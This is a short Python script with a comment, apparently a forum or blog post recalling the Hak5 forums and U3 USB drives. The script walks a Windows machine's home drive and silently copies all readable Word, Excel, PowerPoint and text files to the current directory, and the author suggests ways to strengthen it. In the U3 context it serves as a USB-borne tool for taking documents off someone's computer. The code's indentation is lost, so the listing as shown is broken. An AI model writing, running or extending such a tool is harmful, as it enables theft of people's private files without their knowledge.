#!/usr/bin/python
import os,shutil
exts = [".txt",".doc",".docx",".xls",".xlsx",".ppt",".pptx"]
startpath = os.environ['HOMEDRIVE']
def find(none, directory, filenames):
for file in filenames:
for ext in exts:
if file.endswith(ext):
fullfile = os.path.join(directory,file)
try:
shutil.copy(fullfile,file)
except IOError:
pass # access denied
os.path.walk(startpath,find, None)
This was on the Hak5 forums when the U3 drives were popular. It can be used to search for file extensions and copy the ones that match those specified. It is easily fooled, but you could add the ability to look for headers in binary data, thread it, ect. R.I.P unpersons.org